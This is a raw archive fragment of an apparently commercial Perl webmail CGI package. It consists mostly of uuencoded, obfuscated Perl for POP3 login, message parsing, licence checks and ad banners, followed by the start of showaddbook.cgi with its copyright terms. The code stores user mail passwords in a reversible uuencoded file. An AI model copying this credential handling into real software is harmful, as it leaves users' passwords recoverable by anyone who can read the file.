?)')E<R`]?B!T<GQ@("U??$%!+5IA+7HP+3DK+WP["@``
K;7D@)'!A9&1I;F<@/2`H,R`M(&QE;F=T:"@D7ULP72D@)2`S*2`E(#,["@``
M)')E<R`]?B!S+RY[)'!A9&1I;F=])"\G/2<@>"`D<&%D9&EN9R]E(&EF("1P
(861D:6YG.PH`
3:68@*&QE;F=T:"`D96]L*2!["@``
?"21R97,@/7X@<R\H+GLQ+#<V?2DO)#$D96]L+V<["@``
"?0H`
&)')E<SL*
"?0H`
G<W5B(')E<W1O<F5?;65S<V%G95]C;VYT96YT<U]T;U]D:7-K('L*
<;7D@*"1M<V=I9"PD9FEL96YA;64I(#T@0%\["@``
*;&]C86P@)%\["@``
=;7D@*"1M<V=N;RPD=6ED;"D@/2`H)R<L)R<I.PH`
M)'!O<'-O8VL@/2!N97<@24\Z.E-O8VME=#HZ24Y%5"T^;F5W*"`)4&5E<D%D
69'(@(#T^("10>U!/4%-%4E9%4GTL"@``
9"0D)"0E0965R4&]R="`@/3X@(C$Q,"(L"@``
9"0D)"0E0<F]T;R`@("`@/3X@(G1C<"(L"@``
?"0D)"0E4>7!E("`@("`@/3X@4T]#2U]35%)%04TL"@``
9"0D)"0E4:6UE;W5T("`@/3X@(C,P(BD["@``
::68@*"%D969I;F5D*"1P;W!S;V-K*2D@>PH`
J;7D@)'1I=&QE/21,>R=03U`@4V5R=F5R($-O;FYE8W0@17)R;W(G?3L*
M;7D@)&5R<FUS9STB)$Q[)U5N86)L92!T;R!C;VYN96-T('1O(%!/4"!S97)V
797(G?2`Z("10>U!/4%-%4E9%4GTB.PH`
L)G!R:6YT7V)A8VM?97)R;7-G*%PE3"Q<)4,L)'1I=&QE+"1E<G)M<V<I.PH`
&97AI=#L*
"?0H`
G;W!E;BA01D@L(CPD=7-E<E]D:7)N86UE+RYD=W-S<"YT>'0B*3L*
?)'!A<W-W;W)D(#T@=6YP86-K*"=U)RP\4$9(/BD["@``
,8VQO<V4H4$9(*3L*
>)'-T871E(#T@)G)E861S;V-K*"1P;W!S;V-K*3L*
F)'!O<'-O8VLM/G-E;F0H(E5315(@)'5S97)N86UE7')<;B(I.PH`
>)'-T871E(#T@)G)E861S;V-K*"1P;W!S;V-K*3L*
F)'!O<'-O8VLM/G-E;F0H(E!!4U,@)'!A<W-W;W)D7')<;B(I.PH`
>)'-T871E(#T@)G)E861S;V-K*"1P;W!S;V-K*3L*
;:68@*"1S=&%T92`A?B`O7EPK3TLO:2`I('L*
H)G!R:6YT7V5R<FUS9RA<)4PL7"5#+")#3U!94DE'2%1/3DQ9(BD["@``
)97AI="@P*3L*
"?0H`
=<V5N9"@D<&]P<V]C:RPB3$E35%QR7&XB+#`I.PH`
:)%\@/2`F<F5A9'-O8VLH)'!O<'-O8VLI.PH`
M=VAI;&4@*"`A+UXM15)2+VD@)B8@*"1?/29R96%D<V]C:R@D<&]P<V]C:RDI
5("8F("$O7EPN7'(_7&XD+R`I('L*
,<R]<<C]<;B0O+SL*
;*"1M<V=N;RPD;7-G<VEZ92D@/2!S<&QI=#L*
>)&US9U]S:7IE>R1M<V=N;WT@/2`D;7-G<VEZ93L*
6<'5S:"A`;7-G;F]S+"1M<V=N;RD["@``
"?0H`
=<V5N9"@D<&]P<V]C:RPB54E$3%QR7&XB+#`I.PH`
:)%\@/2`F<F5A9'-O8VLH)'!O<'-O8VLI.PH`
M=VAI;&4@*"`A+UXM15)2+VD@)B8@*"1?/29R96%D<V]C:R@D<&]P<V]C:RDI
5("8F("$O7EPN7'(_7&XD+R`I('L*
,<R]<<C]<;B0O+SL*
8*"1M<V=N;RPD=6ED;"D@/2!S<&QI=#L*
A)'5I9&P@/2`F=6ED;%]T;U]D:7)N86UE*"1U:61L*3L*
@)$].7U!/4%]315)615)[)'5I9&Q](#T@)&US9VYO.PH`
"?0H`
0:68@*"]>+4524B]I*2!["@``
;9F]R96%C:"`D;7-G;F\@*$!M<V=N;W,I('L*
M)'5I9&P@/2`F9V5T7V]U<E]U:61L*"1M<V=N;RPD;7-G7W-I>F5[)&US9VYO
-?2PD<&]P<V]C:RD["@``
@)$].7U!/4%]315)615)[)'5I9&Q](#T@)&US9VYO.PH`
"?0H`
"?0H`
M<V5N9"@D<&]P<V]C:RPB4D544B`D3TY?4$]07U-%4E9%4GLD;7-G:61]7')<
';B(L,"D["@``
8)%\])G)E861S;V-K*"1P;W!S;V-K*3L*
8;W!E;BA!1D@L(CXD9FEL96YA;64B*3L*
%9&\@>PH`
8)%\])G)E861S;V-K*"1P;W!S;V-K*3L*
B*"]>7%,K.B\@?'P@+UY<<RLO*2`F)B!P<FEN="!!1D@["@``
8?2!W:&EL92`H("$O7EQR/UQN)"\@*3L*
M=VAI;&4@*"`H)%\])G)E861S;V-K*"1P;W!S;V-K*2D@)B8@(2]>7"Y<<C]<
&;B0O("D*
2>R!P<FEN="!!1D@@)%\[('T*
=<V5N9"@D<&]P<V]C:RPB455)5%QR7&XB+#`I.PH`
:)%\@/2`F<F5A9'-O8VLH)'!O<'-O8VLI.PH`
+8VQO<V4@049(.PH`
1)'!O<'-O8VLM/F-L;W-E.PH`
"?0H`
4<W5B(&=E=%]G;5]O9F9S970@>PH`
1=7-E(%1I;64Z.DQO8V%L.PH`
1;7D@)'1I;64@/2!T:6UE.PH`
<;7D@0&%R<B`](&QO8V%L=&EM92@D=&EM92D["@``
C;7D@)'1I;65L(#T@=&EM96QO8V%L*$!A<G);,"XN-5TI.PH`
60&%R<B`](&=M=&EM92@D=&EM92D["@``
C;7D@)'1I;65G(#T@=&EM96QO8V%L*$!A<G);,"XN-5TI.PH`
<;7D@)&1I9F8@/2`D=&EM96P@+2`D=&EM96<["@``
0;7D@)'-I9VX@/2`G*R<["@``
>*"1D:69F(#P@,"D@)B8@*"1S:6=N(#T@)RTG*3L*
4)&1I9F8@/2!A8G,H)&1I9F8I.PH`
>;7D@)&EH<G,@/2!I;G0H)&1I9F8@+R`S-C`P*3L*
D*"1I:')S(#P@,3`I("8F("@D:6AR<R`]("(P)&EH<G,B*3L*
@;7D@)&UI;G,@/2`H)&1I9F8@)2`S-C`P*2`O(#8P.PH`
D*"1M:6YS(#P@,3`I("8F("@D;6EN<R`]("(P)&UI;G,B*3L*
:<F5T=7)N("(D<VEG;B1I:')S)&UI;G,B.PH`
"?0H`
wm357/showaddbook.cgi100644    312    144      102721  7245677670  14030 0ustar  webmailusers#!/usr/bin/perl -wT

# Copyright 1998-present Michael Mohlere
# Copyright 1998-present ADJE, LLC

# TERMS:
# The advertisement html may NOT be changed, and no additional ad banners
# may be placed on the pages.  This is how we are compensated.  The ad banners,
# on a good month, will generate about $1 (one US dollar) in revenue, so it's
# hardly worth the risk of a copyright infringement! If you wish to include
# your own ad banners, you may purchase a site license.  Please visit our home
# page for details. Copyright and disclaimers may not be removed from pages.

# DISCLAIMER: Use this software at your own risk.

# WARNING: This computer program is protected by copyright law and international
# treaties. Unauthorized reproduction or distribution of this program, or any
# portion of it, may result in severe civil and criminal penalties, and will be
# prosecuted to the maximum extent possible under the law.

# Contact us ( support@adjeweb.com ) if you have problems installing
# the software.  We're here to help!

# Michael Mohlere
# President, ADJE, LLC ( http://www.adjeweb.com )

# This software includes many modules available from CPAN (Comprehensive
# Perl Archive Network - see www.perl.com).  These modules are free to use,
# modify, and distribute under the GNU GPL.

# Control error_log output OR print name of script to STDERR
BEGIN {
  use CGI::Carp qw(carpout);
  open(LOG,">>/dev/null") or die "Unable to append to /dev/null: $!\n";
  carpout(*LOG);
}

use lib ".";
require "./params.cgi";
require "./language.cgi";
do './Mail/ADJEMail';
__END__
/<W5B('9A;&ED871E('L*
A;7D@*"1V87(L)'!A='1E<FXL)&UA>&QE;BD@/2!`7SL*
M*"1V87(@/7X@+UXH)'!A='1E<FXI)"\@)B8@;&5N9W1H("1V87(@/#T@)&UA
7>&QE;BD@/R!R971U<FX@.B!E>&ET.PH`
"?0H`
8<W5B('9A;&ED871E7W5S97)N86UE('L*
:;7D@*"1U<V5R;F%M92PD;&5N*2`]($!?.PH`
+)&QE;B`](#,R.PH`
A*"1U<V5R;F%M92`]?B`O7"Y<+B\I("`@)B8@97AI=#L*
A*"1U<V5R;F%M92`]?B`O6UQ<7"]=+RD@)B8@97AI=#L*
A*"1U<V5R;F%M92`]?B`O97AE8R`O:2D@)B8@97AI=#L*
C*&QE;F=T:"`D=7-E<FYA;64@/B`D;&5N*2`F)B!E>&ET.PH`
"?0H`
2<W5B(&ES7VQI8V5N<V5D('L*
-;7D@)&QI8R`](#`["@``
5;7D@)5`@/2`F9V5T7W!A<F%M<SL*
M*&UY("1H='1P7VAO<W0@/2`D14Y6>TA45%!?2$]35'TI(#U^(',O.EQD*R0O
#+SL*
/:68@*"10>TQ)0WTI('L*
2;7D@)&-O9&4])%![3$E#?3L*
2)&-O9&4@/7X@<R]>+BXO+SL*
3)&-O9&4@/7X@<R\N+BXD+R\["@``
@)&AE>"`]("9U<FQ?=&]?:&5X*"1H='1P7VAO<W0I.PH`
@)&QI8R`]("@D8V]D92!E<2`D:&5X*2`_(#$@.B`P.PH`
-:68@*"$D;&EC*2!["@``
*;7D@)&%D9'(["@``
A:68@*&5X:7-T<R@D14Y6>U-%4E9%4E]!1$12?2DI('L*
M*"1%3E9[4T525D527T%$1%)](#U^("]>*%M<9%PN72LI)"\I("8F("@D861D
'<CTD,2D["@``
0(21A9&1R("8F(&5X:70["@``
)?2!E;'-E('L*
>=7-E($E/.CI3;V-K970@<7<H:6YE=%]N=&]A*3L*
M)&%D9'(@/2!I;F5T7VYT;V$H<V-A;&%R*&=E=&AO<W1B>6YA;64H)&AT='!?
):&]S="DI*3L*
"?0H`
A;7D@0&%D9')E<W,@/2!S<&QI="@O7"XO+"1A9&1R*3L*
-;7D@)'1O="`](#`["@``
?9F]R("A`861D<F5S<RD@>R`D=&]T("L]("1?.R!]"@``
>;7D@)&AE>"`]('-P<FEN=&8H(B5X(BPD=&]T*3L*
/)&AE>#UU8R@D:&5X*3L*
@)&QI8R`]("@D8V]D92!E<2`D:&5X*2`_(#$@.B`P.PH`
"?0H`
6?2`C(&5N9"!I9B`D4'M,24-]+BXN"@``
-<F5T=7)N("1L:6,["@``
;?2`C(&5N9"!S=6(@:7-?;&EC96YS960N+BX*
1<W5B('5R;%]T;U]H97@@>PH`
/;7D@*"1I;BD@/2!`7SL*
-;7D@)'-U;2`](#`["@``
.<&]S*"1I;BD@/2`P.PH`
9=VAI;&4@*"1I;B`]?B`O*"XI+V=S*2!["@``
1)'-U;2`K/2!O<F0H)#$I.PH`
"?0H`
?<F5T=7)N('5C*'-P<FEN=&8H(B5X(BPD<W5M*2D["@``
"?0H`
/<W5B('!R:6YT7V%D('L*
:;7D@*"1L87-T860L)&%L:6=N*2`]($!?.PH`
(;7D@)&ED.PH`
*;&]C86P@)%\["@``
5;7D@)5`@/2`F9V5T7W!A<F%M<SL*
3:68@*"1L87-T860@/"`P*2!["@``
,)&ED(#T@=&EM93L*
)?2!E;'-E('L*
1)&ED(#T@*RLD;&%S=&%D.PH`
"?0H`
<<')I;G0@(CQP(&%L:6=N/21A;&EG;CY<;B(["@``
8;7D@)&QI8R`]("9I<U]L:6-E;G-E9#L*
-:68@*"$D;&EC*2!["@``
2)%![041)1'T](FUM=VTQ(CL*
0<')I;G0\/$A%4D5$3T,["@``
?/'-C<FEP="!L86YG=6%G93TB2F%V85-C<FEP="(^"@``
%/"$M+0H`
6=F%R(&YO=R`](&YE=R!$871E*"D["@``
M=F%R('5A:60@/2!N;W<N9V5T5&EM92@I("4@36%T:"YF;&]O<B@X-C0P,#`P
8("T@36%T:"YR86YD;VTH*2HQ,#`P*3L*
M9&]C=6UE;G0N=W)I=&4H)SQI9G)A;64@<W)C/2)H='1P.B\O9F]C=7-I;BYA
M9',N=&%R9V5T;F5T+F-O;2]A9"]I9#TD4'M!1$E$?29O<'0]:&AJ)F-V/3(Q
M,"9U:60])R`K('5A:60@*R`G(B!H96EG:'0]-C`@=VED=&@]-#8X(&9R86UE
M8F]R9&5R/3`@;6%R9VEN:&5I9VAT/3`@;6%R9VEN=VED=&@],"!S8W)O;&QI
,;F<](FYO(CXG*3L*
M9&]C=6UE;G0N=W)I=&4H)SQA(&AR968](FAT='`Z+R]F;V-U<VEN+F%D<RYT
M87)G971N970N8V]M+V%D+VED/210>T%$241])F]P=#UC:6HF8W8],C$P)G5I
B9#TG("L@=6%I9"`K("<B('1A<F=E=#TB7W1O<"(^)RD["@``
M9&]C=6UE;G0N=W)I=&4H)R`@("`\:6UG('-R8STB:'1T<#HO+V9O8W5S:6XN
M861S+G1A<F=E=&YE="YC;VTO860O:60])%![041)1'TF;W!T/6AI:B9C=CTR
M,3`F=6ED/2<@*R!U86ED("L@)R(@86QT/2)#;&EC:R!H97)E('1O('9I<VET
M(&]U<B!S<&]N<V]R(B!W:61T:#TT-C@@:&5I9VAT/38P(&)O<F1E<CTP/B<I
".PH`
M9&]C=6UE;G0N=W)I=&4H)SPO83X\8G(^/&9O;G0@9F%C93TB87)I86PB('-I
M>F4](C$B/CQA(&AR968](FAT='`Z+R]W=W<N9F]C=7-I;BYC;VTB/F9O8W5S
M24X@4W!E8VEA;'1Y(%=E8B!.971W;W)K/"]A/CPO9F]N=#X\+VEF<F%M93XG
#*3L*
&+R\M+3X*
*/"]S8W)I<'0^"@``
+/&YO<V-R:7!T/@H`
M/&EF<F%M92!S<F,](FAT='`Z+R]F;V-U<VEN+F%D<RYT87)G971N970N8V]M
M+V%D+VED/210>T%$241])F]P=#UH:&XF8W8],C$P)G5I9#TQ(B!H96EG:'0]
M-C`@=VED=&@]-#8X(&9R86UE8F]R9&5R/3`@;6%R9VEN:&5I9VAT/3`@;6%R
;9VEN=VED=&@],"!S8W)O;&QI;F<](FYO(CX*
M/&$@:')E9CTB:'1T<#HO+V9O8W5S:6XN861S+G1A<F=E=&YE="YC;VTO860O
M:60])%![041)1'TF;W!T/6-I;B9C=CTR,3`F=6ED/3$B('1A<F=E=#TB7W1O
(<"(^/&)R/@H`
M/&EM9R!S<F,](FAT='`Z+R]F;V-U<VEN+F%D<RYT87)G971N970N8V]M+V%D
M+VED/210>T%$241])F]P=#UH:6XF8W8],C$P)G5I9#TQ(B!A;'0](D-L:6-K
M(&AE<F4@=&\@=FES:70@;W5R('-P;VYS;W(B('=I9'1H/30V."!H96EG:'0]
--C`@8F]R9&5R/3`^"@``
M/"]A/CQB<CX\9F]N="!F86-E/2)A<FEA;"(@<VEZ93TB,2(^/&$@:')E9CTB
M:'1T<#HO+W=W=RYF;V-U<VEN+F-O;2(^9F]C=7-)3B!3<&5C:6%L='D@5V5B
=($YE='=O<FL\+V$^/"]F;VYT/CPO:69R86UE/@H`
,/"]N;W-C<FEP=#X*
(2$52141/0PH`
M?2!E;'-E('L@(R!I9B!L:6-E;G-E9"P@<')I;G0@860@:'1M;"!I;B!^=V5B
2;6%I;"]A9',N:'1M;"XN+BX*
E:68@*"`M<R`B)%![5T5"34%)3$1)4GTO861S+FAT;6PB*2!["@``
D;W!E;BA&2"PB)%![5T5"34%)3$1)4GTO861S+FAT;6PB*3L*
.=VAI;&4H/$9(/BD@>PH`
=*"]>7',J7&XD+R!\?"`O7B,O*2`F)B!N97AT.PH`
2<R]53DE1545)1"\D:60O9SL*
'<')I;G0["@``
"?0H`
+8VQO<V4H1D@I.PH`
"?0H`
"?0H`
0<')I;G0@(CPO<#Y<;B(["@``
,<F5T=7)N("1I9#L*
4?2`C(&5N9"!P<FEN=%]A9"XN+@H`
:<W5B('!R:6YT7V)A;FYE<F-O;W!?860@>PH`
:;7D@*"1A;&EG;BPD8V]O<&ED*2`]($!?.PH`
/;7D@)&ED(#T@=&EM93L*
*;&]C86P@)%\["@``
5;7D@)5`@/2`F9V5T7W!A<F%M<SL*
<<')I;G0@(CQP(&%L:6=N/21A;&EG;CY<;B(["@``
8;7D@)&QI8R`]("9I<U]L:6-E;G-E9#L*
-:68@*"$D;&EC*2!["@``
0<')I;G0\/$A%4D5$3T,["@``
A/"$M+2!"96=I;B!"86YN97(@0V\M3W`@0V]D92`M+3X*
$/%`^"@``
M/%1!0DQ%($%,24=./21A;&EG;B!"3U)$15(](C`B($-%3$Q0041$24Y'/2(P
?(B!#14Q,4U!!0TE.1STB,"(@5TE$5$@](C4P,"(^"@``
%/%12/@H`
?/%1$(%=)1%1(/2(R-3`B($%,24=./2)224=(5"(^"@``
M/$$@2%)%1CTB:'1T<#HO+W=W=RYB86YN97)C;RUO<"YC;VTO8V=I+6)I;B]A
M9',N;F5W+VQE9G0O861S7VYO;G-S:2YP;#]A9'9E<G0]3F]N4U-))G!A9V4]
2;6]H;&5R92XD8V]O<&ED(CX*
M/$E-1R!34D,](FAT='`Z+R]W=W<N8F%N;F5R8V\M;W`N8V]M+V-G:2UB:6XO
M861S+FYE=R]L969T+V%D<U]N;VYS<VDN<&P_240];6]H;&5R929P86=E/6UO
/:&QE<F4N)&-O;W!I9"(*
M5TE$5$@](C(U,"(@2$5)1TA4/2(W,B(@04Q)1TX](D)/5%1/32(@04Q4/2)"
L86YN97)C;RUO<"!"86YN97(@17AC:&%N9V4B($)/4D1%4CTB,"(^/"]!/@H`
&/"]41#X*
>/%1$(%=)1%1(/2(R-3`B($%,24=./2),1494(CX*
M/$$@2%)%1CTB:'1T<#HO+W=W=RYB86YN97)C;RUO<"YC;VTO8V=I+6)I;B]A
M9',N;F5W+W)I9VAT+V%D<U]N;VYS<VDN<&P_861V97)T/4YO;E-3229P86=E
3/6UO:&QE<F4N)&-O;W!I9"(^"@``
M/$E-1R!34D,](FAT='`Z+R]W=W<N8F%N;F5R8V\M;W`N8V]M+V-G:2UB:6XO
M861S+FYE=R]R:6=H="]A9'-?;F]N<W-I+G!L/TE$/6UO:&QE<F4F<&%G93UM
0;VAL97)E+B1C;V]P:60B"@``
M5TE$5$@](C(U,"(@2$5)1TA4/2(W,B(@04Q)1TX](D)/5%1/32(@04Q4/2)"
L86YN97)C;RUO<"!"86YN97(@17AC:&%N9V4B($)/4D1%4CTB,"(^/"]!/@H`
&/"]41#X*
&/"]44CX*
)/"]404),13X*
?/"$M+2!%;F0@0F%N;F5R($-O+4]P($-O9&4@+2T^"@``
(2$52141/0PH`
"?0H`
0<')I;G0@(CPO<#Y<;B(["@``
??2`C(&5N9"!P<FEN=%]B86YN97)C;V]P7V%D+BXN"@``
.<W5B(&=E=&%D;F\@>PH`
/;7D@*"1I;BD@/2!`7SL*
.<&]S*"1I;BD@/2`P.PH`
+;7D@)'1O=#TP.PH`
9=VAI;&4@*"1I;B`]?B`O*"XI+V=S*2!["@``
1)'1O="`K/2!O<F0H)#$I.PH`
"?0H`
-<F5T=7)N("1T;W0["@``
"?0H`
#,3L*
7<W5B(&=E=%]H96%D97)?;&EN97,@>PH`
:;7D@*"1C;VQO;BQ`:&5A9&5R*2`]($!?.PH`
*;7D@)&1E<V,["@``
.;7D@0&QI;F5S/2@I.PH`
*;&]C86P@)%\["@``
09F]R("A`:&5A9&5R*2!["@``
?+UXH6UQW+5TK/SHI+R`F)B`H)&1E<V,@/2`D,2D["@``
J*"1D97-C(#U^("]>)&-O;&]N+VDI("8F('!U<V@H0&QI;F5S+"1?*3L*
"?0H`
/<F5T=7)N($!L:6YE<SL*
"?0H`
3<W5B(&=E=%]R96-?:&%S:"!["@``
0;7D@*"1R96,I(#T@0%\["@``
-8VAO;7`H)')E8RD["@``
?;7D@0&9I96QD<R`]('-P;&ET*"]<?"\L)')E8RD["@``
);7D@)&D],#L*
M=VAI;&4@*"`H)&D\0&9I96QD<RD@)B8@*"1F:65L9'-;)&E=(#U^("]>5D%2
)7"\O*2`I('L*
I*"1D97-C+"1V86PI(#T@<W!L:70H+SHO+"1F:65L9'-;)&E=+#(I.PH`
6)&1E<V,@/7X@<R]>5D%27"\O+V\["@``
5)&AA<VA[)&1E<V-](#T@)'9A;#L*
&)&DK*SL*
"?0H`
.<F5T=7)N("5H87-H.PH`
"?0H`
4<W5B(&=E=%]A;&Q?9FEL97,@>PH`
0;7D@*"1R96,I(#T@0%\["@``
2;7D@0&US9U]P87)T<STH*3L*
?;7D@*"1F;W)M870L)&9I;&5N86UE+"1F:65L9"D["@``
>;7D@0&9I;&5S(#T@<W!L:70H+UQ\+RPD<F5C*3L*
:9F]R96%C:"`D9FEE;&0@*$!F:6QE<RD@>PH`
::68@*"1F:65L9"`A?B`O7E9!4EPO+RD@>PH`
K*"1F;W)M870L)&9I;&5N86UE*2`]('-P;&ET*"\Z+RPD9FEE;&0L,BD["@``
3<'5S:"!`;7-G7W!A<G1S+"!["@``
31D]234%4(#T^("1F;W)M870L"@``
71DE,14Y!344@/3X@)&9I;&5N86UE+`H`
#?3L*
"?0H`
"?0H`
3<F5T=7)N($!M<V=?<&%R=',["@``
"?0H`
><W5B(&=E=%]T97AT7V%N9%]H=&UL7V9I;&5S('L*
6;7D@*$!M<V=?<&%R=',I(#T@0%\["@``
,;7D@)&9O<FUA=#L*
.;7D@)&9I;&5N86UE.PH`
.;7D@)&)A<V5N86UE.PH`
3;7D@0'1E>'1?<&%R=',]*"D["@``
=9F]R96%C:"`D<&%R="`H0&US9U]P87)T<RD@>PH`
;)&9O<FUA="`]("1P87)T+3Y[1D]234%4?3L*
?)&9I;&5N86UE(#T@)'!A<G0M/GM&24Q%3D%-17T["@``
7)&)A<V5N86UE(#T@)&9I;&5N86UE.PH`
8)&)A<V5N86UE(#U^(',O7BXJ7"\O+SL*
M:68@*"`H)&9O<FUA="`]?B!M(RAT97AT+VAT;6Q\=&5X="]P;&%I;GQ>;65S
M<V%G92\I(VDI("8F("@D8F%S96YA;64@/7X@+UXH;7-G+7QM;5PN*2\I("D@
">PH`
4<'5S:"!`=&5X=%]P87)T<RP@>PH`
31D]234%4(#T^("1F;W)M870L"@``
71DE,14Y!344@/3X@)&9I;&5N86UE+`H`
#?3L*
)?2!E;'-E('L*
&;&%S=#L*
"?0H`
"?0H`
4<F5T=7)N($!T97AT7W!A<G1S.PH`
"?0H`
5<W5B(&=E=%]T97AT7V9I;&5S('L*
6;7D@*$!M<V=?<&%R=',I(#T@0%\["@``
,;7D@)&9O<FUA=#L*
.;7D@)&9I;&5N86UE.PH`
.;7D@)&)A<V5N86UE.PH`
3;7D@0'1E>'1?<&%R=',]*"D["@``
=9F]R96%C:"`D<&%R="`H0&US9U]P87)T<RD@>PH`
;)&9O<FUA="`]("1P87)T+3Y[1D]234%4?3L*
?)&9I;&5N86UE(#T@)'!A<G0M/GM&24Q%3D%-17T["@``
7)&)A<V5N86UE(#T@)&9I;&5N86UE.PH`
8)&)A<V5N86UE(#U^(',O7BXJ7"\O+SL*
M:68@*"`H("@D9F]R;6%T(#U^("]T97AT7"]P;&%I;B]I*2!\?"`H)&9O<FUA
M="`]?B`O7FUE<W-A9V5<+R]I*2`I("8F("@D8F%S96YA;64@/7X@+UXH;7-G
.+7QM;5PN*2\I("D@>PH`
4<'5S:"!`=&5X=%]P87)T<RP@>PH`
31D]234%4(#T^("1F;W)M870L"@``
71DE,14Y!344@/3X@)&9I;&5N86UE+`H`
#?3L*
)?2!E;'-E('L*
&;&%S=#L*
"?0H`
"?0H`
4<F5T=7)N($!T97AT7W!A<G1S.PH`
"?0H`
=<W5B(&=E=%]A='1A8VAE9%]F:6QE<U]N97<@>PH`
6;7D@*$!M<V=?<&%R=',I(#T@0%\["@``
7;7D@0&%T=&%C:&5D7W!A<G1S/2@I.PH`
@9F]R("@D:3TP.R1I/$!M<V=?<&%R=',[)&DK*RD@>PH`
I;7D@)&9O<FUA="`@("`@/2`D;7-G7W!A<G1S6R1I77M&3U)-051].PH`
K;7D@)&9N86UE("`@("`@/2`D;7-G7W!A<G1S6R1I77M&24Q%3D%-17T["@``
9;7D@)&)A<V5N86UE("`@/2`D9FYA;64["@``
:)&)A<V5N86UE("`@/7X@<R]>+BI<+R\O.PH`
M:68@("@@(2@@*"1F;W)M870@/7X@;2,H=&5X="]H=&UL?'1E>'0O<&QA:6Y\
M7FUE<W-A9V4O*2-I*2`F)B`H)&)A<V5N86UE(#U^("]>*&US9RU\;6U<+BDO
(*2`I("D@>PH`
&;&%S=#L*
"?0H`
"?0H`
==VAI;&4@*"`D:2`\("0C;7-G7W!A<G1S("D@>PH`
8<'5S:"!`871T86-H961?<&%R=',L('L*
B1D]234%4(#T^("1M<V=?<&%R='-;)&E=>T9/4DU!5'TL"@``
F1DE,14Y!344@/3X@)&US9U]P87)T<ULD:5U[1DE,14Y!345]+`H`
#?3L*
&)&DK*SL*
"?0H`
8<F5T=7)N($!A='1A8VAE9%]P87)T<SL*
"?0H`
9<W5B(&=E=%]A='1A8VAE9%]F:6QE<R!["@``
6;7D@*$!M<V=?<&%R=',I(#T@0%\["@``
7;7D@0&%T=&%C:&5D7W!A<G1S/2@I.PH`
@9F]R("@D:3TP.R1I/$!M<V=?<&%R=',[)&DK*RD@>PH`
I;7D@)&9O<FUA="`@("`@/2`D;7-G7W!A<G1S6R1I77M&3U)-051].PH`
K;7D@)&9N86UE("`@("`@/2`D;7-G7W!A<G1S6R1I77M&24Q%3D%-17T["@``
9;7D@)&)A<V5N86UE("`@/2`D9FYA;64["@``
:)&)A<V5N86UE("`@/7X@<R]>+BI<+R\O.PH`
M:68@("@@(2@@*"`H)&9O<FUA="`]?B`O=&5X=%PO<&QA:6XO:2D@?'P@*"1F
M;W)M870@/7X@+UYM97-S86=E7"\O:2D@*2`F)B`H)&)A<V5N86UE(#U^("]>
4*&US9RU\;6U<+BDO*2`I("D@>PH`
&;&%S=#L*
"?0H`
"?0H`
==VAI;&4@*"`D:2`\("0C;7-G7W!A<G1S("D@>PH`
8<'5S:"!`871T86-H961?<&%R=',L('L*
B1D]234%4(#T^("1M<V=?<&%R='-;)&E=>T9/4DU!5'TL"@``
F1DE,14Y!344@/3X@)&US9U]P87)T<ULD:5U[1DE,14Y!345]+`H`
#?3L*
&)&DK*SL*
"?0H`
8<F5T=7)N($!A='1A8VAE9%]P87)T<SL*
"?0H`
><W5B(')E861?;65S<V%G97-?9G)O;5]D:7-K('L*
4;7D@*"1M<V=F:6QE*2`]($!?.PH`
-;7D@0&US9W,]*"D["@``
*;&]C86P@)%\["@``
3:68@*"UF("1M<V=F:6QE*2!["@``
6;W!E;BA&2"PB/"1M<V=F:6QE(BD["@``
38VAO;7`H0&US9W,]/$9(/BD["@``
+8VQO<V4H1D@I.PH`
"?0H`
/<F5T=7)N*$!M<V=S*3L*
"?0H`
=<W5B('=R:71E7VUE<W-A9V5S7W1O7V1I<VL@>PH`
<;7D@*"1M<V=F:6QE+"1M<V=R968I(#T@0%\["@``
*;&]C86P@)%\["@``
5;7D@0&US9W,@/2!`)&US9W)E9CL*
6;W!E;BA&2"PB/B1M<V=F:6QE(BD["@``
.9F]R("A`;7-G<RD@>PH`
1<')I;G0@1D@@(B1?7&XB.PH`
"?0H`
+8VQO<V4H1D@I.PH`
"?0H`
2<W5B(&-H96-K7VQO9VEN('L*
M;7D@*"1L86YG+"1C;VQO<G,L)'5S97)?9&ER;F%M92PD=&EM96]U="D@/2!`
#7SL*
.;7D@)4P])21L86YG.PH`
0;7D@)4,])21C;VQO<G,["@``
D;7D@)&9N86UE(#T@(B1U<V5R7V1I<FYA;64O:7`N='AT(CL*
*;&]C86P@)%\["@``
M;7D@)&QA<W1?;6]D7W-E8R`]("@M32`D9FYA;64I("H@,S8P,"XP("H@,C0N
#,#L*
D;7D@)'1I;65O=71?<V5C<R`]("1T:6UE;W5T("H@-C`N,#L*
M:68@*"`H(2`M92`D9FYA;64I('Q\("@D;&%S=%]M;V1?<V5C(#X@)'1I;65O
-=71?<V5C<RD@*2!["@``
H;7D@)'1I=&QE(#T@)$Q[)T5R<F]R.B!,;V=I;B!%>'!I<F5D)WT["@``
M;7D@)&5R<FUS9R`@(#T@(B1T:6UE;W5T("1,>R=L;V=I;G1I;65O=70G?2([
!"@``
E<')I;G0@(D-O;G1E;G0M='EP93H@=&5X="]H=&UL7&Y<;B(["@``
0<')I;G0\/$A%4D5$3T,["@``
'/&AT;6P^"@``
'/&AE860^"@``
M/$U%5$$@8V]N=&5N=#TB=&5X="]H=&UL.R!C:&%R<V5T/21,>T-(05)3151]
;(B!H='1P+65Q=6EV/4-O;G1E;G0M5'EP93X*
6/'1I=&QE/B1T:71L93PO=&ET;&4^"@``
(/"]H96%D/@H`
M/&)O9'D@8F=C;VQO<CTD0WM"1U]72$E417T@3$E.2STD0WM,24Y+?2!!3$E.
=2STD0WM!3$E.2WT@5DQ)3DL])$-[5DQ)3DM]/@H`
M/'1A8FQE(&-E;&QP861D:6YG/2(T(B!C96QL<W!A8VEN9STB,B(@=VED=&@]
((C$P,"4B/@H`
:/&9O<FT@86-T:6]N/2)I;F1E>"YC9VDB/@H`
%/'1R/@H`
M/'1D(&)G8V]L;W(])$-[0D=?4%524$Q%?3X\:6YP=70@='EP93TB<W5B;6ET
=(B!V86QU93TB)$Q[)TQO9R!);B=](CX\+W1D/@H`
M/'1D(&)G8V]L;W(])$-[0D=?3U)!3D=%?2!W:61T:#TB.3`E(B!A;&EG;CTB
)8V5N=&5R(CX*
M/&9O;G0@9F%C93TB87)I86PL:&5L=F5T:6-A(B!C;VQO<CTD0WM415A47T),
K04-+?2!S:7IE/30^/'-T<F]N9SXD=&ET;&4\+W-T<F]N9SX\+V9O;G0^"@``
&/"]T9#X*
M/'1D(&)G8V]L;W(])$-[0D=?4%524$Q%?3X\:6YP=70@='EP93TB<W5B;6ET
=(B!V86QU93TB)$Q[)TQO9R!);B=](CX\+W1D/@H`
&/"]T<CX*
(/"]F;W)M/@H`
%/'1R/@H`
0/'1D/B9N8G-P.SPO=&0^"@``
